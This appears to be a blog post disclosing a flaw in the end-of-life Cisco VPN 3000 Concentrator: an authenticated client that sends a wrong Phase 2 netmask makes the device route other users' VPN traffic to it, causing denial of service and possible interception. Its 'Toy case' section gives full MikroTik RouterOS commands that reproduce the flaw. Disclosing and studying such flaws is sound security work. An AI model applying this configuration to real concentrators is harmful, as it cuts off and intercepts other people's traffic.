TL;DR: the Cisco VPN 3000 Concentrator has a bug that allows you to create a DoS (and maybe a MITM) by sending the wrong netmask in IPSec phase 2. You need valid credentials. Apparently there is no workaround or fix. It’s EOL, so maybe you may want to change it :-)

Intro

Months ago I was preparing a presentation that I was expected to have in a big academic institution. I was given a VPN access to be able to look for some documents (not freely available, unfortunately). The VPN was a Cisco VPN that was running over vpnc.

A week before the presentation I switched from my laptop to a desktop PC, and I moved the VPN configuration. I wasn’t aware that, for some reasons, the vpnc daemon that I was using in my desktop was doing something wrong with the VPN: when I was connected using my desktop PC, all subsequential VPN connections from other clients to the concentrator were sending the traffic (meant for the VPN concentrator) to me, inside the VPN tunnel (unencrypted).

I was alerted by the IT head of the organization, who gave me only few clues about the issue: apparently my client was using a wrong netmask, re-routing all traffic in the VPN to me.

How that was possible? Let’s see how the Cisco VPN is made to understand the issue!

The (old, superseeded, EOL) Cisco VPN

The Cisco VPN used by the Concentrator 3000 and the vpnc client is a plain old IPSec VPN, with some defaults, and the NAT workaround enabled (UDP port 500).

I’m not going to repeat what is beautifully explained all over the web - Google is your friend. If you don’t know IPSec and you don’t want to study it, this is a very general and imprecise recap:

1. The client begins the connection with some initial infos - this starts the Phase 1.
2. The server replies, and both begins to dance sending and receiving packets to agree on authentication methos, encryption, etc. They also do the authentication
3. Once the Phase 1 is ended, client and server have an encrypted tunnel. Now they negotiate keep alive parameters, replay detections, and, most importantly, IP/netmask pairs for the encryption. This is named Phase 2.

The problem here is that, while the official Cisco VPN Client (and vpn) is using a subnet mask /32 for the “local address” of Phase 2 security association, if one can trick and send a different netmask, the server will accept it (instead of refusing it, as it comes from a roadwarrior, and by simply looking at the policy). Also, this causes somehow the traffic to flow from other clients to the “bad” client.

Toy case - reproduce the issue

I’m not an expert of vpnc and its configuration, so I used another “client” where I can move with some good agility: MikroTik RouterOS.

PS: while Cisco VPN used to be unsupported due to XAuth method missing from RouterOS, this is not the case anymore. I don’t remember which RouterOS version adds XAuth support. I tried with 6.45.1 and it works very well.

I’ll not going to explain how a Cisco VPN concentrator is configured: there are a lot of good guides online.

Let’s start! First of all, we need to create a new address list with all local IP addresses of the network (as a source network which will use the tunnel):

/ip firewall address-list
add address=192.168.1.0/24 comment="LAN" list=IPSEC

Then, we can create a “Mode config” with the list specified above:

/ip ipsec mode-config
add name=vpnc-mode-cfg responder=no src-address-list=IPSEC

Now we need a profile: refer to the server configuration in order to configure all parameters to the right value.

/ip ipsec profile
add dh-group=modp1024 dpd-interval=disable-dpd enc-algorithm=3des lifetime=12h name=vpnc-profile

Now we can add the peer for Phase 1:

/ip ipsec peer
add address=vpn.host.name.com exchange-mode=aggressive name=vpnc-server profile=vpnc-profile

Finally, we can add the IPSec identity for XAuth (please check all parameters with the server admin, expecially my-id and remote-id):

/ip ipsec identity
add auth-method=pre-shared-key-xauth mode-config=vpnc-mode-cfg my-id=key-id:mykey password=abc123 peer=vpnc-server secret=sharedsecret username=username

The Phase 1 is completed. Now we need to configure the Phase 2 proposal:

/ip ipsec proposal
add auth-algorithms=md5 enc-algorithms=3des lifetime=12h name=vpnc-p2-proposal pfs-group=none

Finally, we can add the policy (where 1.2.3.4/5 is the subnet of the VPN):

/ip ipsec policy
add dst-address=0.0.0.0/0 peer=vpnc-server proposal=vpnc-p2-proposal src-address=1.2.3.4/5 tunnel=yes

The router will add automatically a Source NAT rule for all IPs in the address list configured in the first step.

Now you can see inside the Cisco VPN Concentrator control panel, and look for a VPN connection with 1.2.3.4/5 as netmask: all clients that now will connect to the VPN will be unable to do any traffic, and their packets will be forwarded to the MikroTik!!

Solution/workaround

None exists at the moment, AFAIK. Also, because this product is EOL, you may want to change it with a better product.

Unfortunately, this product is used a lot, and some of those devices are exposed over internet without ACLs or protection